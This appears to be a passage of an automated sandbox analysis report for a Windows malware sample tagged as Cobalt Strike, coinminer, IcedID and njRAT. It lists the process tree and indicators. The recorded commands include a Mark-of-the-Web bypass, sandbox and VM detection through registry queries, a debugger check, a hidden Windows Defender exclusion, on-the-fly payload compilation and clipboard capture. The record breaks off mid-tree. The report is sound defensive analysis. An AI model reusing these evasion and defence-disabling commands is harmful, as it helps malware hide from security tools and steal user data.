1056	powershell.exe
1056	powershell.exe
4640	powershell.exe
4640	powershell.exe
4268	powershell.exe
4268	powershell.exe
1124	powershell.exe
1124	powershell.exe
836	powershell.exe
836	powershell.exe
1564	powershell.exe
1564	powershell.exe
2412	powershell.exe
2412	powershell.exe
3252	powershell.exe
3252	powershell.exe
1792	powershell.exe
1792	powershell.exe
4932	powershell.exe
4932	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
836	MsEdgeAutoUpdate.exe
836	MsEdgeAutoUpdate.exe
3048	powershell.exe
3048	powershell.exe
876	powershell.exe
876	powershell.exe
1292	powershell.exe
1292	powershell.exe
1292	powershell.exe
2076	powershell.exe
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3276	WMIC.exe
Token: SeSecurityPrivilege	3276	WMIC.exe
Token: SeTakeOwnershipPrivilege	3276	WMIC.exe
Token: SeLoadDriverPrivilege	3276	WMIC.exe
Token: SeSystemProfilePrivilege	3276	WMIC.exe
Token: SeSystemtimePrivilege	3276	WMIC.exe
Token: SeProfSingleProcessPrivilege	3276	WMIC.exe
Token: SeIncBasePriorityPrivilege	3276	WMIC.exe
Token: SeCreatePagefilePrivilege	3276	WMIC.exe
Token: SeBackupPrivilege	3276	WMIC.exe
Token: SeRestorePrivilege	3276	WMIC.exe
Token: SeShutdownPrivilege	3276	WMIC.exe
Token: SeDebugPrivilege	3276	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3276	WMIC.exe
Token: SeRemoteShutdownPrivilege	3276	WMIC.exe
Token: SeUndockPrivilege	3276	WMIC.exe
Token: SeManageVolumePrivilege	3276	WMIC.exe
Token: 33	3276	WMIC.exe
Token: 34	3276	WMIC.exe
Token: 35	3276	WMIC.exe
Token: 36	3276	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3276	WMIC.exe
Token: SeSecurityPrivilege	3276	WMIC.exe
Token: SeTakeOwnershipPrivilege	3276	WMIC.exe
Token: SeLoadDriverPrivilege	3276	WMIC.exe
Token: SeSystemProfilePrivilege	3276	WMIC.exe
Token: SeSystemtimePrivilege	3276	WMIC.exe
Token: SeProfSingleProcessPrivilege	3276	WMIC.exe
Token: SeIncBasePriorityPrivilege	3276	WMIC.exe
Token: SeCreatePagefilePrivilege	3276	WMIC.exe
Token: SeBackupPrivilege	3276	WMIC.exe
Token: SeRestorePrivilege	3276	WMIC.exe
Token: SeShutdownPrivilege	3276	WMIC.exe
Token: SeDebugPrivilege	3276	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3276	WMIC.exe
Token: SeRemoteShutdownPrivilege	3276	WMIC.exe
Token: SeUndockPrivilege	3276	WMIC.exe
Token: SeManageVolumePrivilege	3276	WMIC.exe
Token: 33	3276	WMIC.exe
Token: 34	3276	WMIC.exe
Token: 35	3276	WMIC.exe
Token: 36	3276	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4296	WMIC.exe
Token: SeSecurityPrivilege	4296	WMIC.exe
Token: SeTakeOwnershipPrivilege	4296	WMIC.exe
Token: SeLoadDriverPrivilege	4296	WMIC.exe
Token: SeSystemProfilePrivilege	4296	WMIC.exe
Token: SeSystemtimePrivilege	4296	WMIC.exe
Token: SeProfSingleProcessPrivilege	4296	WMIC.exe
Token: SeIncBasePriorityPrivilege	4296	WMIC.exe
Token: SeCreatePagefilePrivilege	4296	WMIC.exe
Token: SeBackupPrivilege	4296	WMIC.exe
Token: SeRestorePrivilege	4296	WMIC.exe
Token: SeShutdownPrivilege	4296	WMIC.exe
Token: SeDebugPrivilege	4296	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4296	WMIC.exe
Token: SeRemoteShutdownPrivilege	4296	WMIC.exe
Token: SeUndockPrivilege	4296	WMIC.exe
Token: SeManageVolumePrivilege	4296	WMIC.exe
Token: 33	4296	WMIC.exe
Token: 34	4296	WMIC.exe
Token: 35	4296	WMIC.exe
Token: 36	4296	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4296	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 792 wrote to memory of 1176	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	81
PID 1176 wrote to memory of 2232	1176	cmd.exe	83
PID 792 wrote to memory of 3464	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	84
PID 3464 wrote to memory of 3276	3464	cmd.exe	86
PID 792 wrote to memory of 5096	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	88
PID 5096 wrote to memory of 4296	5096	cmd.exe	90
PID 792 wrote to memory of 1028	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	91
PID 1028 wrote to memory of 1792	1028	cmd.exe	93
PID 792 wrote to memory of 1808	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	94
PID 1808 wrote to memory of 3748	1808	cmd.exe	96
PID 792 wrote to memory of 3264	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	97
PID 3264 wrote to memory of 4088	3264	cmd.exe	99
PID 792 wrote to memory of 4672	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	100
PID 4672 wrote to memory of 772	4672	cmd.exe	102
PID 792 wrote to memory of 444	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	103
PID 444 wrote to memory of 4660	444	cmd.exe	105
PID 792 wrote to memory of 1444	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	106
PID 1444 wrote to memory of 3824	1444	cmd.exe	108
PID 792 wrote to memory of 4460	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	109
PID 4460 wrote to memory of 3032	4460	cmd.exe	111
PID 792 wrote to memory of 3760	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	112
PID 3760 wrote to memory of 2552	3760	cmd.exe	114
PID 792 wrote to memory of 560	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	115
PID 560 wrote to memory of 4932	560	cmd.exe	117
PID 792 wrote to memory of 5016	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	118
PID 5016 wrote to memory of 2436	5016	cmd.exe	120
PID 792 wrote to memory of 4784	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	121
PID 4784 wrote to memory of 1292	4784	cmd.exe	123
PID 792 wrote to memory of 2616	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	124
PID 2616 wrote to memory of 2932	2616	cmd.exe	126
PID 792 wrote to memory of 4564	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	127
PID 4564 wrote to memory of 2920	4564	cmd.exe	129
PID 792 wrote to memory of 960	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	130
PID 960 wrote to memory of 4588	960	cmd.exe	132
PID 792 wrote to memory of 808	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	133
PID 808 wrote to memory of 1056	808	cmd.exe	135
PID 792 wrote to memory of 4300	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	136
PID 4300 wrote to memory of 3736	4300	cmd.exe	138
PID 792 wrote to memory of 5028	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	139
PID 5028 wrote to memory of 2180	5028	cmd.exe	141
PID 792 wrote to memory of 4284	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	142
PID 4284 wrote to memory of 3288	4284	cmd.exe	144
PID 792 wrote to memory of 3232	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	146
PID 3232 wrote to memory of 784	3232	cmd.exe	148
PID 792 wrote to memory of 3240	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	149
PID 3240 wrote to memory of 5004	3240	cmd.exe	151
PID 792 wrote to memory of 2064	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	152
PID 2064 wrote to memory of 3244	2064	cmd.exe	154
PID 792 wrote to memory of 3276	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	155
PID 3276 wrote to memory of 2960	3276	cmd.exe	157
PID 792 wrote to memory of 2004	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	158
PID 2004 wrote to memory of 4140	2004	cmd.exe	160
PID 792 wrote to memory of 1108	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	161
PID 1108 wrote to memory of 5044	1108	cmd.exe	163
PID 792 wrote to memory of 4200	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	164
PID 4200 wrote to memory of 2500	4200	cmd.exe	166
PID 792 wrote to memory of 3440	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	167
PID 3440 wrote to memory of 2908	3440	cmd.exe	169
PID 792 wrote to memory of 3212	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	170
PID 3212 wrote to memory of 3648	3212	cmd.exe	172
PID 792 wrote to memory of 2248	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	173
PID 2248 wrote to memory of 3928	2248	cmd.exe	175
PID 792 wrote to memory of 2356	792	2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	176
PID 2356 wrote to memory of 4548	2356	cmd.exe	178

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1920	attrib.exe
4640	attrib.exe
4932	attrib.exe
3796	attrib.exe
2120	attrib.exe
1088	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:1792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:3748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:4088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:444
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:4660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:3824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:3032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:560
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:4932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:2436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:1292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    - Identifies Wine through registry keys
    PID:2932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    - Looks for Xen service registry key.
    PID:2920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:4588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:1056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:3736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:2180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:3288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:4140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:5044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:2908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:3648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:4548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:3020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:4872
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4748
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780548586303.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780548586303.cs
  2⤵
  PID:3800
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8548.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSCE226D4AE35844D26B764B0393B41CED.TMP"
    3⤵
    PID:2348
- C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\12vt\panel\server\build_temp\build_1780298632838_0u03wc\index.js
  2⤵
  - Executes dropped EXE
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:2724
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:2232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:4596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:2844
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:1032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:3828
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:4856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:1924
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:1732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:236
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:672
- - C:\Windows\system32\cmd.exe
